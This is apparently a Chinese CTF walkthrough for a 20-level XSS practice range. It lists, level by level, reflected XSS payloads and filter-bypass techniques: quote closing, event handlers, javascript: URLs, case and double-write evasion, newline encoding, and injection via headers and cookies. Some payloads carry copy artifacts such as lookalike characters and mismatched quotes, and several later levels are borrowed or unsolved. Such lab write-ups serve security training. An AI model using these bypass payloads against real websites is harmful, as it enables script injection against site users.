一、在线靶场
http://test.ctf8.com
二、开始闯关
level1:首先第一关是个图片,观察url链接,发现有传参,直接把test替换成payload:<script>alert(1)</script>
成功弹出
level2:此题考查参数闭合,一个搜索框,输入1,查看源代码,发现,1在两个双引号之间,那么我们只需要闭合前面一个引号,后面正常输入payload就可以绕过,payload为:"><script>alert(1)</script>
level3:此题考查符号被转义后的处理,看到此题发现和level2差不多,输入"><script>alert(1)</script>
,打开源代码看到,<>都被转义了,双引号被过滤,存在单引号,可以尝试单引号闭合>被转义,所以用//闭合那么我们可以利用鼠标单击落下事件进行弹窗,payload为:' onmouseover=alert(1)//或者' onclick=alert(1)%0a
level4:和level3一样,只是从单引号变成了双引号,payload为: " onmouseover=alert(1)//或者" onclick=alert(1)%0a
level5:此题考查过滤关键词的绕过,这里过滤了script 转换成 scr_ipt、on转换成 o_n,这样就过滤了js事件,但好在没有过滤<>,我们可以用javascript来绕过,payload为:"><a href=javascript:alert(1)>
level6:和level5差不多,运用上一个的代码,发现href被过滤了,这里我们可以考虑大写或者双写绕过,实际发现只能大写绕过payload为:"><a hRef=javascript:alert(1)>
level7:发现script、href、on、src等都被置换为空,那么我们可以使用双写绕过,payload为:"><a hrhrefef=javascscriptript:alert(1)>
level8:此题考查伪协议绕过,script 转换成 scr_ipt、on 转换成 o_n、src 转换成 sr_c、data 转换成 da_ta、href 转换成 hr_ef、大小写失效、" 还被编码,但是尖括号<> ,单引号 ’ ,% ,# ,& 符号没有被过滤。直接伪协议,payload为:javascript:alert(1)
level9:和level8一样,只不过多了一个检测,如果发现没有带http:// 内容则会显示不合法,payload为:javascript:alert(1) // http://
这里用//进行注释。
level10:此题考查隐藏框,看到页面发现没有框,尝试在url传参,发现也不行,然后f12大法发现有三个隐藏的框,把它们改为text,然后在最后一个写οnclick="alert(1),最后通过url传参keyword=test&t_sort=" type="text" onclick="alert(1)
,然后再点击那个框框即可弹窗
level11:此题考查http头部xss注入,这里必须要用burp抓包了,参考payload:" onmouseover=alert(1) type="text"
" οnclick=“alert(1) type=“text”,放包之后要点一下框即可
level12:考查user-agent,参考payload:" onmouseover=alert(1) type="text"
或者” οnclick=“alert(1) type=“text”,放包之后要点一下框即可
level13:考查cookie的xss注入,参考payload:" onmouseover=alert(1) type="text"
或者” οnclick="alert(1) type=“text”,放包之后要点一下框即可
level14:不会,参考https://www.hackersb.cn/hacker/140.html
level15:显示不出来
level16:禁止大小写绕过、script , / , (空格),等都被转换成 、即用%0d,%0a等绕过:
0a------换行符号------"\n"
0d------回车符号------"\r"
没有输出位置,直接在url上输入?keyword=接payload,payload为:<img%0Dsrc=1%0Donerror=alert(1)>或<iframe%0asrc=x%0donmouseover=alert
1></iframe>或<svg%0aonload=alert
1></svg>
level17,18:不会,百度的,参考:直接在embed标签插入onmouseover事件,payloadonmouseover=alert(1)
level19:知识盲区,百度的:flash xss,需要对flash的反编译对源码进行分析,payload为<a href="javascript:alert(1)">123</a>
level20:完全不会,这题是zeroclipboard.swf的xss,payload为:?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height